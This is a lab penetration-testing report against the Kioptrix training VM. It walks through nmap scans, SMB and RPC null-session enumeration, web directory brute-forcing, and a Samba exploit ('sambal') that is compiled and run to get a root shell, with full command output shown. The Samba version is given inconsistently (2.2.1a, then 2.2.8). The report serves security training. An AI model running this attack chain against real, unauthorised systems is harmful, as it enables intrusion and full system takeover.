

Vulnerability Assessment & Penetration Testing (VAPT) Report

Target: Kioptrix VM (Lab Environment)

1. Scope:

- **Objective:** Identify and exploit vulnerabilities in the Kioptrix VM.
- **In-scope:** Host discovery, port scanning, enumeration, exploitation, privilege escalation.
- **Environment:** Local network (192.168.1.0/24).

2. Findings:

2.1 Host Discovery and Port Scanning

- **Command Executed:**

`nmap 192.168.1.0/24`

- **Results:**

Host IP	Open Ports	Services Detected	MAC Address	Notes
192.168.1.1	22 (SSH), 53 (DNS), 80 (HTTP), 1900 (UPnP)	TP-Link router services	50:91:E3:03:CE:D0	Likely gateway device
192.168.1.101	135 (MSRPC), 139 (NetBIOS), 445 (SMB), 902, 912, 3306 (MySQL), 5357	Windows host	A4:F9:33:8C:41:DC	Not target
192.168.1.102	None (all closed)	No significant services detected	62:FC:E1:02:84:B7	Ignored
192.168.1.103	22 (SSH), 80 (HTTP), 111 (rpcbind), 139 (NetBIOS), 443 (HTTPS), 32768	Linux/Unix system (VirtualBox NIC)	08:00:27:CB:FB:57	Likely Kioptrix target

- **Observation:**

The host at **192.168.1.103** shows multiple open services (SSH, HTTP, HTTPS, RPC, NetBIOS). The MAC prefix matches **Oracle VirtualBox NIC**, confirming it is likely the Kioptrix VM.

- **POC:**

```
(kali㉿kali)-[~]
$ nmap 192.168.1.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-10 10:03 EDT
Nmap scan report for 192.168.1.1
Host is up (0.0050s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT      STATE SERVICE
22/tcp    open  ssh
53/tcp    open  domain
80/tcp    open  http
1900/tcp   open  upnp
MAC Address: 50:91:E3:03:CE:D0 (TP-Link Limited)

Nmap scan report for 192.168.1.101
Host is up (0.00090s latency).
Not shown: 993 filtered tcp ports (no-response)
PORT      STATE SERVICE
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
902/tcp    open  iss-realsecure
912/tcp    open  apex-mesh
3306/tcp   open  mysql
5357/tcp   open  wsddapi
MAC Address: A4:F9:33:8C:41:DC (Intel Corporate)

Nmap scan report for 192.168.1.102
Host is up (0.0038s latency).
All 1000 scanned ports on 192.168.1.102 are in ignored states.
Not shown: 1000 closed tcp ports (reset)
MAC Address: 62:FC:E1:02:84:B7 (Unknown)

Nmap scan report for 192.168.1.103
Host is up (0.0066s latency).
Not shown: 994 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
443/tcp   open  https
32768/tcp open  filenet-tms
MAC Address: 08:00:27:CB:FB:57 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap scan report for 192.168.1.105
Host is up (0.0000050s latency).
All 1000 scanned ports on 192.168.1.105 are in ignored states.
Not shown: 1000 closed tcp ports (reset)
```

2.2 Service and OS scan:

- **Command Executed:**

```
nmap -p- -sV -O -T4 192.168.1.103
```

- **Results:**

Port	State	Service	Version / Details
22	Open	SSH	OpenSSH 2.9p2 (Protocol 1.99) – outdated, known vulnerabilities in older versions
80	Open	HTTP	Apache httpd 1.3.20 (RedHat Linux) + mod_ssl/2.8.4 + OpenSSL 0.9.6b
111	Open	RPCbind	RPC #100000
139	Open	NetBIOS	Samba smbd (Workgroup: MYGROUP)
443	Open	HTTPS	Apache/1.3.20 + mod_ssl/2.8.4 + OpenSSL 0.9.6b
32768	Open	Status	RPC #100024

- **Host Information:**

- OS Detected: Linux Kernel 2.4.9 – 2.4.18 (outdated)
- Device: VirtualBox VM (MAC: 08:00:27:CB:FB:57)

- **Observation:**

- **Apache 1.3.20 + mod_ssl 2.8.4 + OpenSSL 0.9.6b** is vulnerable.
- **Samba (NetBIOS)** has multiple remote code execution vulnerabilities in older versions.
- Kernel 2.4.x is extremely outdated and prone to **local privilege escalation exploits**.

- **POC:**

```
(kali㉿kali)-[~]
$ nmap -p- -sV -O -T4 192.168.1.102
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-10 10:17 EDT

zsh: suspended nmap -p- -sV -O -T4 192.168.1.102

(kali㉿kali)-[~]
$ nmap -p- -sV -O -T4 192.168.1.103
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-10 10:18 EDT
Nmap scan report for 192.168.1.103
Host is up (0.0043s latency).
Not shown: 65529 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 2.9p2 (protocol 1.99)
80/tcp    open  http         Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd (workgroup: MYGROUP)
443/tcp   open  ssl/https    Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
32768/tcp open  status       1 (RPC #100024)
MAC Address: 08:00:27:CB:FB:57 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.14 seconds
```

2.3 Enumeration:

- **Command Executed:**

enum4linux 192.168.1.103

- **Results:**

Category	Details
Workgroup	MYGROUP
NetBIOS Names	KIOPTRIX (Workstation & File Server)
Shares	IPC\$, ADMIN\$ (restricted)
Groups	Built-in Windows-style groups + Unix mapped groups
Users	Multiple local accounts including root, bin, daemon, ftp, etc.
Null Session	Allowed (no password)
Password Policy	Complexity disabled, length 0

- **Observations:**

- Null sessions are enabled, allowing unauthenticated information disclosure.
- RID cycling exposed multiple valid usernames, increasing brute-force attack surface.
- Password policy is weak (no complexity, minimum length 0).

- **POC:**

```

(kali@kali)-[~]
$ enum4linux 192.168.1.103
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Wed Sep 10 10:31:52 2025

===== ( Target Information ) =====
Target ..... 192.168.1.103
RID Range ..... 500-550,1000-1050
Username ..... ''
Password ..... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

===== ( Enumerating Workgroup/Domain on 192.168.1.103 ) =====

[+] Got domain/workgroup name: MYGROUP

===== ( Nbtstat Information for 192.168.1.103 ) =====

Looking up status of 192.168.1.103
KIOPTRIX      <00> -      B <ACTIVE> Workstation Service
KIOPTRIX      <03> -      B <ACTIVE> Messenger Service
KIOPTRIX      <20> -      B <ACTIVE> File Server Service
  _MSBROWSE__ <01> - <GROUP> B <ACTIVE> Master Browser
MYGROUP       <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
MYGROUP       <1d> -      B <ACTIVE> Master Browser
MYGROUP       <1e> - <GROUP> B <ACTIVE> Browser Service Elections

MAC Address = 00-00-00-00-00-00

===== ( Session Check on 192.168.1.103 ) =====

[+] Server 192.168.1.103 allows sessions using username '', password ''

===== ( Getting domain SID for 192.168.1.103 ) =====

Domain Name: MYGROUP
Domain Sid: (NULL SID)

[+] Can't determine if host is part of domain or part of a workgroup

===== ( OS information on 192.168.1.103 ) =====

[E] Can't get OS info with smbclient

[+] Got OS info for 192.168.1.103 from srvinfo:
KIOPTRIX      Wk Sv PrQ Unx NT SNT Samba Server
platform_id   :      500
os version    :      4.5
server type   :      0x9a03

```

2.4 RPC Enumeration (rpcclient):

- **Command Executed:**

```
rpcclient -U "" -N 192.168.1.103
```

```
rpcclient $> enumdomgroups
```

```
rpcclient $> querygroup rid:[0x200]
```

- **Results:**

- **Groups Found:**

- Domain Admins (RID: 0x200)
 - Domain Users (RID: 0x201)

- **Error:**

- When checking details of Domain Admins, the tool crashed.
 - This is likely because the rpcclient tool on Kali is newer than the old Samba on Kioptrix.

- **Observations:**

- RPC service is working and answers queries.
- We found two groups: **Domain Admins** and **Domain Users**.
- When trying to get more info, the tool crashed. This is likely because the tool version is too new for the old Samba running on Kioptrix.
- Even with the crash, group information was still revealed.

- **POC:**

```
(kali@kali)-[~]
$ sudo su
[sudo] password for kali:
root@kali: /home/kali
# rpcclient -U "" -N 192.168.1.103
rpcclient $> enumdomgroups
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
rpcclient $> querygroup rid:[0x200]

INTERNAL ERROR: Signal 11: Segmentation fault in rpcclient () pid 3326 (4.22.4-Debian-4.22.4+dfsg-1)
If you are running a recent Samba version, and if you think this problem is not yet fixed in the latest versions, please consider reporting this bug, see https://wiki.samba.org/index.php/Bug_Reporting

PANIC (pid 3326): Signal 11: Segmentation fault in 4.22.4-Debian-4.22.4+dfsg-1
BACKTRACE: 11 stack frames:
#0 /usr/lib/x86_64-linux-gnu/samba/libgenrand-private-samba.so.0(log_stack_trace+0x2d) [0x7fe1671b95bd]
#1 /usr/lib/x86_64-linux-gnu/samba/libgenrand-private-samba.so.0(smb_panic+0xd) [0x7fe1671b985d]
#2 /usr/lib/x86_64-linux-gnu/samba/libgenrand-private-samba.so.0(+0x28f5) [0x7fe1671b98f5]
#3 /lib/x86_64-linux-gnu/libc.so.6(+0x3fd0) [0x7fe166249df0]
#4 rpcclient(+0xb3d11) [0x556915f6fd11]
#5 rpcclient(+0xb5632) [0x556915f71632]
#6 rpcclient(+0xadcaf) [0x556915f69caf]
#7 rpcclient(main+0x72a) [0x556915f044a]
#8 /lib/x86_64-linux-gnu/libc.so.6(+0x29ca8) [0x7fe166233ca8]
#9 /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0x85) [0x7fe166233d65]
#10 rpcclient(_start+0x21) [0x556915f0751]
call_panic_action: Calling panic action /usr/share/samba/panic-action 3326
call_panic_action: action returned status 0
Can not dump core: corepath not set up
```

2.5 Web Enumeration:

- **Command:**

`dirb http://192.168.1.103`

- **Result:**

- `http://192.168.1.103/~operator` (403 Forbidden)
- `http://192.168.1.103/~root` (403 Forbidden)
- `http://192.168.1.103/cgi-bin/` (403 Forbidden)
- `http://192.168.1.103/index.html` (200 OK)
 - ⊆ DIRECTORY: `http://192.168.1.103/manual/`
 - ⊆ DIRECTORY: `http://192.168.1.103/mrtg/`
 - ⊆ DIRECTORY: `http://192.168.1.103/usage/`
- `http://192.168.1.103/mrtg/index.html` (200 OK)
- `http://192.168.1.103/usage/index.html` (200 OK)

- **Observation:**

- The `/usage/` directory shows website usage statistics for `kioptrix.level1`.
- Directories `/manual/` and `/usage/` are listable, meaning their contents can be accessed publicly.
- Some sensitive paths like `/~root` and `/cgi-bin/` are restricted (HTTP 403).
- These findings indicate that there is partial exposure of server information that could help in further enumeration.

- **POC:**


```
(kali㉿kali)-[~]  
$ dirb http://192.168.1.103
```

DIRB v2.22
By The Dark Raver

START_TIME: Wed Sep 10 12:14:23 2025
URL_BASE: http://192.168.1.103/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

—— Scanning URL: http://192.168.1.103/ ——
+ http://192.168.1.103/~operator (CODE:403|SIZE:273)
+ http://192.168.1.103/~root (CODE:403|SIZE:269)
+ http://192.168.1.103/cgi-bin/ (CODE:403|SIZE:272)
+ http://192.168.1.103/index.html (CODE:200|SIZE:2890)
⇒ DIRECTORY: http://192.168.1.103/manual/
⇒ DIRECTORY: http://192.168.1.103/mrtg/
⇒ DIRECTORY: http://192.168.1.103/usage/

—— Entering directory: http://192.168.1.103/manual/ ——
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

—— Entering directory: http://192.168.1.103/mrtg/ ——
+ http://192.168.1.103/mrtg/index.html (CODE:200|SIZE:17318)

—— Entering directory: http://192.168.1.103/usage/ ——
+ http://192.168.1.103/usage/index.html (CODE:200|SIZE:3729)

END_TIME: Wed Sep 10 12:15:55 2025
DOWNLOADED: 13836 - FOUND: 6

2.6 SMB Version Detection:

- **Command:**

`msfconsole`

`use auxiliary/scanner/smb/smb_version`

`set RHOSTS 192.168.1.103`

`run`

- **Result:**

- **Version:** Unix (Samba 2.2.1a)

- **Observation:**

- The target is running Samba 2.2.1a on Unix.
- This is an old version, which may have security issues.
- Possible attacks: unauthorized file access or exploiting old Samba bugs to run commands on the system.
- No major errors during scanning.

- **POC:**

```
msf > use 103
msf auxiliary(scanner/smb/smb_version) > options

Module options (auxiliary/scanner/smb/smb_version):



| Name    | Current Setting | Required | Description                                                                                                                                                                                         |
|---------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| RHOSTS  |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT   |                 | no       | The target port (TCP)                                                                                                                                                                               |
| THREADS | 1               | yes      | The number of concurrent threads (max one per host)                                                                                                                                                 |



View the full module info with the info, or info -d command.

msf auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.103
RHOSTS => 192.168.1.103
msf auxiliary(scanner/smb/smb_version) > run
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.21/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+' and '?' was replaced with '*' in regular expression
[*] 192.168.1.103:139 - Host could not be identified: Unix (Samba 2.2.1a)
[*] 192.168.1.103 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/smb/smb_version) >
```

All scanning and enumeration steps are complete in the Findings module. Now, we move on to exploiting the identified Samba vulnerability.

3. Exploiting vulnerability:

3.1 Samba Exploitation:

- **Command:**

```
cd Downloads
```

```
gcc sambal.c -o sambal -lcrypto
```

```
./sambal -b 0 -v 192.168.1.103
```

- **Result:**

- Exploitation successful; root access gained on the target system.

- **Observation:**

- The target was running an old **Samba version (2.2.8)**.
- Exploit successfully gave **remote root access**.
- This proves the Samba service was **vulnerable to remote code execution (RCE)**.

- **POC:**

- **Conclusion:**

```
(kali@kali)-[~]
$ sudo su
[sudo] password for kali:
(root@kali)-[/home/kali]
# cd Downloads

(root@kali)-[/home/kali/Downloads]
# ls
sambal  sambal.c  sqli-labs-master.zip

(root@kali)-[/home/kali/Downloads]
# gcc sambal.c -o sambal -lcrypto

(root@kali)-[/home/kali/Downloads]
# ./sambal -b 0 -v 192.168.1.103
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)

+ Verbose mode.
+ Brute force mode. (Linux)
+ Host is running samba.
+ Using ret: [0xbffffd4]
+ Using ret: [0xbffffda8]
+ Worked!

*** JE MOET JE MUIJL HOUWE
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)
whoami
root
█
```

- The target system was scanned for open ports and services. Several services were found to be outdated and vulnerable, including Samba 2.2.1a/2.2.8 and OpenSSH 2.9p2.
- Using the Samba exploit (sambal), we were able to gain root access, proving that the system is vulnerable to remote code execution (RCE).
- Other services like Apache HTTP/HTTPS are also outdated and could potentially be exploited, though they were not targeted in this lab.
- **Recommendation:** Update all outdated services, especially Samba, and implement proper network segmentation and monitoring to prevent unauthorized access.